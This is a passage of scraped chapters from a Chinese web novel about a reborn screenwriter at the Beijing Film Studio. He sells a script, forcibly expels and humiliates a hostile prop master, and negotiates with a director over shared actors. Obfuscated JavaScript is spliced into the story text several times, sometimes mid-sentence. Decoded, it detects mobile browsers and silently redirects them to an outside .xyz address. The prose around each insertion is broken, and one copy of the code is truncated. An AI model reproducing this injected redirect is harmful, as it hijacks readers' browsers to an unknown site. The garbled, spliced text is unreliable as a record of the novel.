袁和平哭笑不得,沉吟片刻后越发觉得这个故事的完整性太高了,高远展现了诚意,把画都画好了,这就相当于自己只需要按照图画将其制作成影片就能大赚一笔。 自己再压价确实不怎么厚道了。 他一咬牙,说道:“六万港币,这是我能出的最高价格了,我也不瞒高老师,在香港影坛,也只有大编剧才能拿到这个价格的稿酬。” 高远从傅奇夫妇嘴里了解过香港的行情,知道袁和平所言不虚。 他点头道:“那就六万港币吧,辛苦您给公司打个电话,让贵公司的财务人员把汇款单寄过来。” 说着,他把剧本放进了茶几抽屉里。 这意思摆明了是一手交钱一手交货。 袁和平说声好,又问道:“您不起个笔名吗?” 这事儿高远还真没想过,他一提,高远明白了,大陆编剧实名出现在香港出品的影片中肯定不行,仅仅是审查那一关就过不去。 他想了想,点头道:“我有如下几个笔名,您捡合适的挑一个吧。 夜寒不宜裸奔、人不要脸天下无敌、沙雕艺术家、凹凸先生、叼着奶瓶逛酒吧。 您觉得哪个比较符合我独特的高贵气质?” 都挺符合你独特的二货气质! 袁和平都懒得吐槽了,他甚至有些跟不上高远的节奏,您这思路转得也太快了。 “那个,您觉得哪个合适就选哪个呗,不用征求我的意见。”他无奈地说道。 高远乐了,不再逗他,直言道:“给我署名炎恩吧,意思是,炎黄子孙,感恩的心。” 袁和平心说,你这是在敲打港人吗? 潜台词是,同为炎黄子孙,港人都没有一颗感恩的心? 您确定您真不是搞**工作的吗? 怎么时时刻刻都有一股子把我们归拢过来的意思呢? “行,那就给您署名炎恩。” 袁和平说着,站起身,向高远告辞,一刻也不敢多留。 高远把兄弟俩礼送出门。 《太极宗师》千呼万唤,终于在4月16日正式开机。 没搞什么摆猪头敬酒上香那套仪式,那是香港电影人们大规模涌入大陆后带过来的封建迷信做派。 这年头哪个剧组敢搞这一套,一旦被人举报,你就等着吃不了兜着走吧。 分分钟停了你的工作,甚至会牵连到厂里,厂领导也不会饶了你的。 李文化吆喝了一嗓子:“我宣布,《太极宗师》正式开机。” 就这么正式进入了拍摄阶段。 按照高远和袁和平商量过的,先拍几个简单的打斗片段,让大家适应适应后,再拍摄闯塔的重头戏。 演员们都去化妆了。 高远和李文化在看景,内景已经布置完毕了,每一层塔都有其独特的风格。 比如说由印度瑜伽天才少女婆罗门驻守的第一层,墙面上便挂了串长佛珠,还有一面萨满的面具。 “这不错啊,谁的主意?”高远问道。 “还能有谁,我出的主意呗。” 李文化笑着说,接着他一眼看见道具组的负责人孔茂林蹲在不远处抽烟,向他招招手,又道:“茂林你过来一下。” 孔茂林站起来,把烟头丢在地上,用鞋底子碾灭,慢悠悠走过来,问道:“导演找我有事儿?” 这家伙四十出头儿的年纪,是厂里的老人儿了。 李文化给两人做着介绍,道:“高老师跟茂林还不熟悉吧?茂林可是厂里的资深道具师,我们合作很多年了。” 意思是,两人是一个创作集体的。 高远主动伸出手,客气道:“孔老师好,我跟孔老师在开会的时候见过几次面,私底下倒没打过交道,今后请多关照。” 孔茂林无视了他伸出来的手,阴阳怪气地说道:“别,您这声老师我可担不起,别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15480708|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回头您在厂长面前添油加醋告我一状,搞不好我也得提前办退休。 在告黑状这方面,您才是老师。 导演没别的事情吩咐我吧? 没有我可走了。” 说完,他不等李文化回话,转身就走,完了还嘀咕,“这年头儿,真是什么人都能往电影圈里钻。” 李文化很尴尬,低声跟高远解释道:“别生气啊,他这人就这样,脾气古怪的很,仗着老资格不太把别人放在眼里。” 高远冷哼一声,道:“是因为水华,大家才对我产生这么大意见的吧?” 李文化更尴尬了,这事儿你让我怎么回答? 其实高远已经有答案了,水华被老厂长强行要求办理退休,这事儿他早就听梁晓声说起过。 让他感到意外的是,老厂长为了自己,居然如此干脆利落地就把水导料理了。 这不是力挺自己,这是给自己找麻烦啊。 弄得现在第一创作集体的人都把自己当成阶级敌人对待。 高远隐忍,是从大局出发,不想因为这点破事儿耽误电影的拍摄进度。 但他也不会一直隐忍,人家都说到自己脸上来了,再忍着,威信何存? “把他换了吧,你去说我还是我去说?”高远铁青着脸问李文化道。 李文化瞪着眼,道:“别啊,这刚开机就换道具师,传出去影响太恶劣了,将来老孔还怎么在北影厂混呐?” 高远坚定道:“我不想连导演一起换掉。” 你要分清楚谁是大小王啊。 高远这会儿想明白了,纵容孔茂林这种人在剧组里横行霸道摆老资格,不仅无助于提高电影的拍摄进度,反而会大大耽搁电影的拍摄进程。 见他态度坚决,李文化知道他彻底恼火了。 摇了摇头,李文化说道:“你都把话说到这个份儿上了,这坏人还是我去当吧。另外,把他赶走了,道具师换谁?” 高远想了想后说道:“你先搞定孔茂林,我会给王导打电话,从她组里调两个人过来的。” 李文化点点头,去跟孔茂林传达高远的意见了。 “他凭什么赶我走?他有什么权力这么做?他算老几?”孔茂林一听就气炸了,脸红脖子粗的质问道。 第160章 片场一霸! 他算老几? 李文化很想告诉孔茂林,在《太极》这个剧组里,人家是老大。 连我这个导演都只是个徒有其名的打工仔啊。 那个货就是片场一霸! 但这话他不能说,再说就更火上浇油了。 “茂林,你首先要弄明白一件事情,不是高老师要赶你走,不再使用你这个决定是我们俩商量过后一起做出的。” 李文化顿了顿,又说道:“看在你我共事多年的交情上,前些日子我就跟你提过,让你别戴着有色眼镜看人,水导的退休跟高老师没有直接关系。 我说句不中听的,水导心眼儿小了,见不得年轻人成长进步,利用他在厂里的老资格打压、排挤年轻人,这才是老厂长一怒之下勒令他主动退休的重要原因。” “你少跟我说那个,我要不看你也是厂里的老人儿,我早就跟你翻脸了!” 孔茂林梗着脖子大声道:“姓高的那小子向你抛来橄榄枝,你立刻迫不及待地接住了,你这行为,跟打鬼子那会儿的狗汉奸有什么区别? 抱你的大粗腿去吧,想让老子走人,没门儿! 老子端的是厂里的饭碗,除非厂长下命令,不然他麻辣隔壁的一个外人,没这个权力赶老子走!” 李文化瞠目结舌。 不远处的高远听到了孔茂林的强词夺理和叫骂声,他这下不忍了,飞快地冲过去。 **魁、熊欣欣几个刚化完妆的家伙见状,也急忙追了过去。 “你刚才骂谁?”高远直视着他,眼神冰凉。 “骂的就是你个孙贼!” 孔茂林双眼喷火,道:“实话告儿你吧,老子早看你丫不爽了,嘴上没**的屁孩子,丫一天到晚在厂里咋呼啥? 仗着有老厂长罩着,丫就不把老前辈放在眼里。 今儿老子就给你上一课,让你丫知道知道,老前辈说的话,你得听!” 这个人脑子有大病吧? 高远看了他好一会儿,忽地笑了,一挥手,说道:“健魁、欣欣,把他给我丢出去!出了事儿我负责!” **魁和熊欣欣打内心里认定高远这个带头大哥了,闻言二话不说走上前,一左一右挟持住孔茂林的胳膊,把人抬起来就往外走。 李文化刚抬起步子,被及时赶来的胡坚强挡了一下。 他神情沮丧,对高远说道:“何必呢?” 高远看都没看他一眼。 “孙贼,你敢对我下手!我他妈跟你没完!你信不信老子贴你的大字报,让你丫的在厂里混不下去了!” 双脚离地的孔茂林奋力挣扎,瘦弱的身子骨左摇右晃。 高远一愣,这是明着挑衅了。 他这会儿反倒觉得有意思起来,又喊了一嗓子,道:“把他给我放下来!” 健魁和欣欣顿住脚步,把孔茂林栽葱苗一般杵在地上。 孔茂林以为高远被自己刚才那番话吓住了,愈发嚣张起来。 虽然脚后跟有点疼,但他强忍着,狠狠瞪了**魁和熊欣欣一眼,一瘸一拐走到高远面前,以一副胜利者的口吻伸手点着高远的胸口说道:“害怕了?害怕就他妈给老子道个歉,老子心情好了说不定原谅你这回。” 害怕? 不存在的。 高远一探手,抓住他伸出来的手指头,狠狠往上一撅。 这家伙一般不生气,心理年龄都60好几的人了,平和的不得了。 但他想发火的时候也绝不会憋着。 有道是气大伤身,生闷气更伤身。 这货念头通达得很。 手指头钻心的痛感让孔茂林扑通单膝跪地,哎哟哎哟叫唤起来。 “松开手!**给我松开手!我的手指头快要断啦,救命啊!” 他这一喊,徒弟们纷纷跑了过来。 北影厂也是这个传统,师父带徒弟,一辈传一辈。 他这些徒弟一看师父被高远死死攥住手指头,立马勃然大怒,一个个横眉立目撸胳膊挽袖子就要跟高远搏命。 但是他们忘了,这个剧组里全是猛人。 都不用高远打招呼,一帮练武的汉子们齐刷刷往这几位身前一站。 杜玉明的三角眼一撩几位,声音中不带一丝感情问了句,你们想干嘛? 这几位浑身一颤,定在那里不敢动了。 此时,高远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15480709|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说道:“我本来不打算跟你计较,因为没意思。但你一而再,再而三地挑衅我,这就碰触到我的底线了。” 见孔茂林疼得额头上见了汗,高远也担心自己手上没数,真把他的手指头撅折就麻烦了,遂松开手,又道:“春燕姐,给我把他摁住了。” 葛春燕早看这家伙不顺眼了,闻言说声好,几个大步走上前,一脚踹在他后背上,单腿死死顶住他的后脊梁,把双臂往后一别。 孔茂林的脸就与地面亲密接触了。 他仍旧不服,双眼瞪着蹲下来的高远,道:“你敢弄我,小子,你的好日子到头了!” 高远冷笑道:“你也就放狠话这点本事了,还贴我大字报,我借你三个胆子你试试的。 我自问没得罪过你吧? 你看我不顺眼,是因为你们这个创作集体的人都认为水导是被我挤兑走的? 你们以为给我使绊子就算是给水导报仇了? 自以为是! 一把年纪全他妈活到狗身上去了!” “你敢说水导不是被你挤兑走的吗?你要不去跟厂长告状,水导能提前退休?” 孔茂林继续挣扎,脸都磨破了。 “水导办理提前退休手续的时候,我在北大邀请老师呢,请问我怎么向老厂长告得状?你有脑子吗……” 高远说道:“你这种死脑筋的家伙,我跟你解释这个就等你对牛弹琴,说了你也不信。 但是刚才你张口就往外蹦脏字儿,还污蔑是我把水导挤兑走的,这话大家伙儿可全都听到了。 我告诉你孔茂林,甭跟我摆老资格的臭架子,哥们儿不吃这一套! 也别跟我耍浑蛋,哥们儿浑蛋起来哥们儿自个儿都害怕! 还贴我大字报,就刚才你说的那些话,我直接去**告你污蔑**,**一受理,我看你工作还保不保得住! **不受理也好办,我他妈贴你的大字报! 我把大字报先贴门口厂标上,厂领导不管,我贴电影局门口去! 电影局领导不管,我他妈去文化部弄你! 看看咱俩谁先死!” 高远说完,舒坦了。 第161章 服了! 孔茂林慌得一批,他真害怕了,脸色一阵青一阵白的,脖子上的青筋让他的脸显得狰狞又滑稽。 这年头儿的人都怕打官司,谁家没事儿天天往**跑? 会被厂里的干部职工们戳着脊梁骨说三道四的。 还有一点,孔茂林之所以肯定高远干得出来,是因为他根本不是北影厂的正式职工,人家告他,不用顾忌北影厂的人说他啥。 不向自己,表面上一副无吊所谓的样子,其实心里虚的很! 也就仗着自己是北影厂的老职工发发怨气,打压打压小年轻,彰显一下过期大厂职工的优越感。 其实说穿了就四个字:色厉内荏! 这时候,李健群和蔡明、刘冬小跑过来。 见全组的同事们都伫立在置景场地中央。 李健群扒拉开人群挤进来,又见高远蹲在地上目光跟刀子似的顶住孔茂林,大姐姐心下一急,快步走到高远身边,也蹲下,抓住他的手,问道:“怎么了这是?” 高远扭过头,一笑,道:“没啥大事儿,这孙子故意找茬,当着大家的面污蔑、诽谤我,造我的黑谣,被我听见了,我教训教训。” “没受伤吧?”大姐姐根本不管孔茂林的死活,满眼都是她的臭弟弟。 高远哈哈大笑,“怎么可能受伤呢,我有一帮好兄弟。” **魁、熊欣欣、杜玉明、王群几人也都笑了起来。 高老师被欺负了,连身子骨消瘦的葛优都跟大家伙儿并肩站在了一起。 李健群翻个白眼儿,也放下心来。 此时的孔茂林就像被扔到岸边垂死挣扎的鱼,扑腾了半天,眼看着出气儿多进气儿少了。 “春燕姐把他放开吧。”高远对葛春燕说道。 葛春燕嗯了声,把顶在孔茂林后脊梁骨上的膝盖撤回去,松开了手,往李健群身边一站,像个保镖。 高远也站起身,居高临下瞪视着孔茂林,问道:“还继续斗吗?文斗还是武斗?” 孔茂林摇摇晃晃站起来,感觉俩胳膊都不是自个儿的了,他甩了甩,呲牙咧嘴。 见识到了高远的手段,他当然不敢继续斗了,但为了维护自个儿那点可怜的自尊心,这老小子低着头不吭声。 “你这是逼着我一纸诉状将你告到**去啊。” “好,我满足你这个愿望。导儿,你主持大局吧,我请天假。” 高远说完抬腿就走。 李文化旁观了全程。 他也很讨厌孔茂林这个不知道好歹的家伙,见高远把他收拾了,竟也生出了一丝酣畅淋漓的快感。 但李文化也不希望把事情闹大。 高远把孔茂林告了,这要是传出去,对厂里的声誉会产生非常大的不利影响。 以厂为家,在这个年代人们的思想中绝不是停留在表面的东西,那是刻进骨子里的。 “老孔!你还犹豫什么?还不抓紧给高老师道歉!你真想吃官司啊?” 李文化急了,傻帽儿啊!大傻缺啊! 你这时候知道要脸了,晚了! 孔茂林脑袋嗡的一声,缓过神来,若是高远真撕破脸皮,把自己告了,那自己可真要被开除了。 “高老师,留步!我……我对不起您。” 他这种人最实际,你真有手段让他滚出北影厂,他低头比谁都快。 俗称:怂包软蛋! 高远停住了脚步,转身,走回来,冰冷望着他,道:“一句对不起就完了?” “我带着徒弟们退出剧组。” “外面都传,水导是被我逼走的,最先造谣的人是谁?” “……是我。” “那你让我怎么原谅你呢?” 孔茂林咬着嘴唇琢磨琢磨,说道:“我去向大家澄清,说都是我散播的谣言,在大家面前恢复您的名誉。” 高远厌恶地挥挥手,说道:“滚吧,别让我再在组里看见你了。” 孙茂林转身就走,一点都不带犹豫的。 他的徒弟们也跟着走人了。 高远冲袁家兄弟和在场的同志们抱抱拳,笑着说道:“让大家看笑话了。” 大家都说无妨无妨。 李连杰走到他面前,竖起大拇指笑道:“远哥,您是这份儿的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15484876|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高远摸摸他的脑袋。 葛春燕撇着嘴说道:“我早就看那人不顺眼了,一天到晚臭着张脸,跟大家伙儿都欠他一毛钱没还似的,给谁看啊?” 李健群捏捏她长满老茧的手,低声道:“淡定。” 葛春燕嘿嘿一笑。 高远其实挺高兴的,收拾了奇葩,也将剧组的人心拢到了一块儿。 一个剧组的成员们如果不能团结一心、精诚合作,想拍出一部高质量的影片来那是天方夜谭。 想想还是《瞧这一家子》剧组单纯啊。 因为王好为导演能压得住秤砣。 相比较而言,李文化的性格就软了一些。 想到这里,高远摇摇头,对他说道:“李导,问题解决了,咱正式开始吧。” 这人还得用,但高远心里对他已经有了点不瞒,合作,怕是也有这一部了。 他是想找工具人,但这个工具人也不能一点自己的想法都没有。 作为导演,你在电影拍摄期间镇不住场子,凡事都要我亲力亲为,那我用你干嘛? 我亲自上阵不行吗? 李文化老脸通红。 他又不傻,敏锐地察觉到高远对自己的态度有些变化,此刻也不好多说什么,心想着等今天的拍摄工作结束后再向他解释吧。 李文化点头说好,又对大家说:“各部门抓紧准备,老李把摄像机摆到这儿来,我们马上开拍。” 听了导演的吩咐,大家各自忙碌去了。 今天第一场戏拍的是杨昱乾与人比斗,战而胜之。 小场面。 袁和平拉着李连杰给他讲解动作。 造型师往李连杰身上撒**。 喜欢看香港老电影的人应该印象很深刻,港产武打片,演员互殴时,一拳打在人身上会噗噗冒白烟。 并发出砰砰砰的声音。 节奏感十足。 那,什么叫节奏感? 说白了就是不虚、特别脆生。 这种小技巧都是香港武行的同仁们在摸爬滚打中实践出来的。 要不怎么说实践是检验真理的唯一标准呢。 第162章 葛大爷的电影初体验 都准备好了,高远让大家稍等。 **从哪里摸出台相机来,笑着说:“今天这个日子蛮值得纪念的,大家合张影吧。” 同志们都换上了戏服。 李连杰一身蓝色长衫,英武不凡的样子。 熊欣欣、**魁、王群、胡坚强几条汉子也都造型各异,身形挺拔。 两位于教练各有各的特色,端王爷的服饰主打一个贵气,陈正英讲究一个宗师气度。 再看李健群…… 她给自己设计了两套衣服,一件天蓝色的小褂搭配一条黑裤子,一件粉红色的小褂配长裙。 绣花鞋,白袜子。 那叫一个利索。 就是这发型,有点土不拉几的。 高远心说,没关系,等拍完合影自己再给姐姐设计一个好看的发型也来得及。 大家积极响应。 袁和平兄弟俩扭扭捏捏。 高远看透了兄弟俩的心思,走过去,低声说道:“放心,照片不会传到香港去的,我只是给大家留个纪念,过个几十年,把照片拿出来一看,回忆起大家聚在一起度过的美好时光,多少是个念想。” 袁和平勉为其难地点点头,说道:“再过几十年,形势可能会有所变化吧。好,我们兄弟俩拍了!” 他思想很开通的,一点都不古板。 高远呲牙一笑,指挥着大家站位。 “李导你站最中间,晨声大哥你躲什么?往里靠靠……” “要懂得尊老爱幼啊,两位于教练站在导演两旁,诶欣欣你杵着个大个子站第一排合适么?挡住小明那张清纯的小脸蛋儿了!” “喊谁小明呢?” 这孙子大呼小叫,引得众人笑成了一片。 大家排好位置,高远一看,嚯! 跟他娘梁山好汉在忠义堂聚会似的。 他把相机递给剧组一个不重要的工作人员,自己也加入到队伍中,挨着大姐姐站好,还偷摸抓住小手。 李健群挣了下,没挣脱,红着脸剜他一眼,也只能任由这货牵着自己的手。 “大家准备好了吗?都看镜头啊,我喊一二三就摁快门了哈。”三米开外的工作人员大声吆喝道:“一、二、三!” 闪光灯亮起来的那一刻,高远伸手比了个二,脸上笑得跟一朵野菊花一般。 大合影拍完,大家正式进入到工作状态中。 高远拉着李健群,对造型师说道:“小王,她这个发型不合适啊。” 小王对高远明显敬畏,喏喏地说道:“高老师,哪里不合适您说。” “一根长辫子在清朝那是女扮男装的装扮,陈少琪虽然柔弱,却也是江湖儿女,给她扎个马尾就行,突出一个英姿飒爽。” “好的。” “另外,她这个刘海,能不能弄成空气刘海?” “啥叫空气刘海啊?”小王一脸懵。 高远想了想,摆弄着大姐姐额前的头发说道:“空气刘海指的是薄且内卷,隐约能看到眉眼的刘海……” 他费劲巴拉地解释了一番。 小王的眼睛忽地一亮,连连点头,仿佛打开了一扇新世界的大门。 “懂了懂了,您瞧好吧,我知道该怎么弄了。”姑娘兴奋了,不由分说拉着李老师直奔化妆间。 李健群再出来时,如仙女下凡,看呆了众人。 她自己也很满意,望向高远的目光透着一股子崇拜。 臭弟弟太棒了,学识渊博,什么都懂一点。 高远嘿嘿一笑,没脸没皮的样子。 那边厢,摄像机架好了,演员也准备完毕。 李文化大声说道:“先别着急开机啊,小李和优子先走两遍。” 没错儿,葛优捞到了一个小角色,还有两句台词儿。 一句是:少说废话,不服就打! 另一句是:我服了! 高远在给他讲戏:“别紧张啊,袁指导也跟你说过了,都是套招,你把动作记住就行,小李子会按照你的节奏出手的。” 葛优一脑门子汗,“我有信心,你瞧好吧。” 瞧你这样儿可不像有信心的。 高远拍拍他的肩膀,乐了。 这货穿一件灰不拉几的长衫,半截脑门儿锃光瓦亮,后半截粘着长辫子,两腮深陷,俩眼珠子瞪得溜圆。 猛一看,跟侵犯地球的外来物种似的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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葛优松了口气,见高远笑嘻嘻看着他,便走过去,说道:“棚外面抽根烟去?” “走呗。”高远往外走。 两人来到摄影棚外,阳光正好,微风不燥,点了烟喷云吐雾。 “找到点儿自信心没?”高远问他道。 “还行,起初面对镜头有点紧张,拍第二条的时候就好很多了。”葛大爷说道。 第163章 张鑫炎 “对了,全总文工团的招生考试下月进行,我想去掺和一下。”葛优换了个话题。 “我知道啊,之前你不是提过了么,放心,给你批假。你表演个什么节目应对考试?”高远笑呵呵问道。 “喂猪,老爷子手把手教的,说是我有生活体验,表演起来不费劲儿,更能打动老师们。我他妈这辈子就跟猪过不去了。” 葛优用他那独特的嗓音疯狂吐槽。 高远哈哈大笑,他心说你还别看不上这个作品,要不是老爷子手把手教你这个表演片段,全总文工团就跟你无缘喽。 葛优翻个白眼儿,又说道:“孔茂林那个人你得提防着点儿。” “怎么说?” “那就是个小人,当面一套背后一套,阴的很。” “李导说他性格古怪,他平时就这副德行吗?” “说实话我了解的也不多,只听说他年轻那会儿一天三顿酗酒成瘾,又挣不了几个钱,为了买酒喝把家败光了。媳妇儿一气之下跟他离了婚。 打那以后他就古怪起来。” “难怪混得差劲。” 这时候,副导演过来了,对高远说道:“高老师,导演让我转告您,按照拍摄计划,明儿一整天都是外景戏,西四牌楼那条街已经搭建了一半了,我们拍半条街没问题。” “我看过拍摄计划表,你直接说重点吧。” “就是,需要群演啊,数量不少,还有几个有台词的小角色。之前开会的时候不是定下来了么,去电影学院找学生,每人每天给一块钱。 您看这事儿,您是不是辛苦跑一趟啊?” 高远乐了,道:“成,我立马就去。” 副导演递给他一封介绍信。 北影厂拍戏,群演都是先找来的。 有几种途径,要么剧组的工作人员客串,要么厂里的职工掺和,人还不够的话,就只能在外面找了。 比如中戏和北电的学生。 物美价廉。 但自打进入90年代后,北影厂外面就会出现很多群演了,还有群头儿。 傻根就是其中的一员。 这个不详细介绍,后文再说。 高远行动力超强,蹬上自行车风驰电掣赶往北电。 这会儿的北电还在农学院办学。 他骑行到学校门口时正好赶上中午放学。 出示了介绍信,大爷一看他是北影厂的人就知道这是来挑演员的,干脆利索地放行。 高远推着自行车走进校园,边走边琢磨,北电78级表演系都有哪些熟脸儿。 周里京和方舒就不说了,那是78级的俩大神。 方舒没毕业就加入北影厂了,还有刘冬。 除了这三位之外,78级表演系也是星光璀璨啊。 张丰毅、谢园、张铁霖、汪粤、沈丹萍…… 说起来,北电也挺奇葩的,去年刚恢复招生,诶今年又不招了,高远也不知道为啥。 别看78级表演系的俊男靓女们不少,但真正有成就的没几个。 反倒是导演系和摄影系更牛逼,他们有个称呼,叫第五代。 高远没含糊,直接找到表演系老师。 说明来意后老师很爽快,直接表示20个人没问题,明天一早就去北影厂报到,保证不会耽误剧组的拍摄。 这货告辞,蹬上自行车又回了北影厂。 也不知道明天会有哪些熟悉的面孔出现在自己面前。 高远有些小小的期待。 回到厂里,他在食堂简单吃了口饭,蓦地发现,大家瞧他的眼神透着一股子古怪的味道。 高远一琢磨就明白了,自己收拾孔茂林那事儿怕是传开了。 孔茂林人见人烦,大家知道自己把他给办了,有解气的,有偷着乐的,也有同仇敌忾的,不一而足。 孙文今端着个铝饭盒晃荡过来,在高远对面坐下,叹声气,道:“爷们儿,冲动了啊。” 高远把一个鸡腿夹到老孙头饭盒里,笑道:“厂长派您过来跟我谈话的吧。” “倒是瞒不住你,我也不跟你深聊你这么做是对是错,打了就是打了,聊得太多没意义。我只问你一句,你将来打算进北影厂工作吗?”孙文今倒是通透。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490223|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >但高远没明白他什么意思,一脸懵然地望着他。 “小子,你甭跟我揣着明白装糊涂,你那是打的孔茂林的脸吗?你那是在打全厂老职工的脸!你是嫌这个企业太僵化了,搞论资排辈那一套,担心将来进了厂后不受重用,你这是在发出自己的声音啊!” 高远这个目的是汪阳和孙文今听说事情的来龙去脉后,关起门来分析了一上午才得出来的。 苦笑一声,高远说道:“您二位摸准了我的脉,我承认,您老说的正是我心中所想。新人进厂,打杂三年,助理三年,然后才能慢慢熬出头来。 这不适合我的发展,我想要的是掌控一个剧组,从头到尾,从制作到发行,从导演到演员…… 当然,现在说这些还太早了,我还没毕业呢。 再者说,我和老孔发生的冲突,没您老想的那么复杂。 我就是气他背地里说话难听,当着我的面还造谣生事,张嘴就问候我父母。 换成是谁,被人当面指着鼻子骂,心里也不会舒服吧? 况且我年轻气盛呢。” 孙文今呵呵笑了,“好了,别解释了,我和老汪都知道你小子心里想啥,解释那么多反倒显得你心虚了。得,我会把你的想法跟老汪说的。 你这个家伙啊,年龄不大野心不小。 老汪激进,你比老汪还激进!” 老厂长是个坚定的改革派,大家心里都知道。 正说着,一个中年男子风风火火走了过来。 “哪位是高远同志?”他问道。 高远一看,不认识。 孙文今一瞧,乐了,说道:“鑫焱同志啊,你这是刚从外地赶回来的?” “孙厂长你好,这不是去外地选演员了么,我刚从临安赶回来。” “找到合适的演员了?” “嗐,别提了,我都觉得不可思议,我在全国各地转了一圈,就定下来一个计春华,其他目标演员全部被人截胡了,一打听才知道,我们相中的演员,全在贵厂《太极》剧组呢。 我这不就着急忙慌地回来了么。” 第164章 心态的变化 高远看着他,知道这位是谁了。 长城公司留下来为数不多的导演张鑫炎嘛。 这是个大牛,不仅导了《少林寺》,还拍摄了喜剧功夫片《少林小子》,就是释小龙、郝劭文和吴孟达主演的那部片子。 后来更是与徐老怪联手打造了电视剧《七剑下天山》。 你张鑫炎牛归牛,但你刚才说的话我不太爱听。 “啥叫截胡啊?我怎么就截了你的胡,莫非我挑选出来的这批演员早就跟你签了合同?”高远斜着眼看张鑫炎。 张鑫炎一愣。 孙文今的脸色也不怎么好看,你在香港待的时间长了,把脑子待秀逗了? “鑫焱,给你介绍一下,这位就是高远同志。”孙文今平淡地说道。 “高远同志你好,刚才我有些着急了,说话没过脑子,请你见谅。” 张鑫炎反应过来,自己刚刚那番话让这位年轻人不痛快了。 人家说得没错,自己又没跟演员签合同,怎么能叫截胡呢? 他听派出去的各路人马汇报说,有几名演员特别合适出演《少林寺》中的角色,但早就被北影厂的《太极宗师》剧组要过去了,目前正在拍摄。 便急匆匆赶了过来。 到摄影棚一看,李连杰是天然地觉远,李健群饰演牧羊女也特别合适。 于承惠就是王仁泽,于海是昙宗师傅,胡坚强、**魁他统统用得上。 这是一套完整的人马! 张鑫炎眼馋了。 也觉得**邪性,自己相中一个你薅走一个,相中一个你薅走一个,跟撞鬼似的。 他跟李文化不熟,看过演员后立刻去找汪阳问询。 汪阳呵呵笑道:“这批演员都是高远同志去各地武术队找来的,你若想用,得找高远同志商量。” 老厂长的言外之意是,我一个当家人,不管具体拍摄的。 张鑫炎见老厂长把话说开了,这才来找高远协商调用演员之事。 他没想到自个儿一激动,说错一句话,高远同志的反应会这么大。 于是赶紧道歉。 高远也不是真生气,他未卜先知啊,已经预料到张鑫炎早晚会来找他。 因为《太极》启用的这些演员本就是上辈子《少林寺》的班底。 蝴蝶扇了扇翅膀,历史拐了个小弯,张鑫炎没去河南京剧团找演员,而是在全国各地进行了海选。 “您有话直说吧,道歉就算了,不是啥大事儿,我也没那么小心眼儿。”高远说道。 张鑫炎坐下了,笑着说道:“是,高远同志胸怀宽广,那我就开门见山了,贵剧组的几名演员特别适合出演《少林寺》中的角色,我想跟你打个商量,能不能借调给我几个演员?” “不能,我们正拍着呢,你觉得现在来要人合适吗?” “我不是说现在要人,我是说,咱们两个剧组能不能套拍?” “一套人马两个组共用呗。” “就是这个意思,想必你也清楚,《少林寺》是廖公钦点的项目,老人家非常重视,我不是仗势欺人啊,只是不敢耽误项目开展。” 高远考虑了一下,说道:“我们《太极》最多两个月就能拍完,张导连两个月都等不了吗?” 张鑫炎惊讶道:“你确定两个月能拍完吗?这拍摄速度也太快了吧。” 高远笑道:“当然确定了,我从不说大话。” 这年头,拍电影就是上班,有的是人磨洋工,毕竟除了基本工资,建组后每天能多拿两块钱补助,别小看这两块钱,十天就是二十,百天就是两百。 一部电影拍摄三个多月,太正常了。 多挣200块钱,相当于多挣了几个月的工资。 当然,老导演们是不承认的,他们说,拍摄进度慢,是因为他们对电影艺术有着孜孜不倦的追求。 啊呸! 高远对这种拖沓的工作作风非常看不惯,他追求的是高效率,有这瞎耽误工夫的时间,多拍几部片子不挣得更多吗? 有些人算不过这个账来。 所以,当别人还在按部就班地拍摄时,他已经开始卷了。 张鑫炎想了想,答应再等两个月。 孙文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 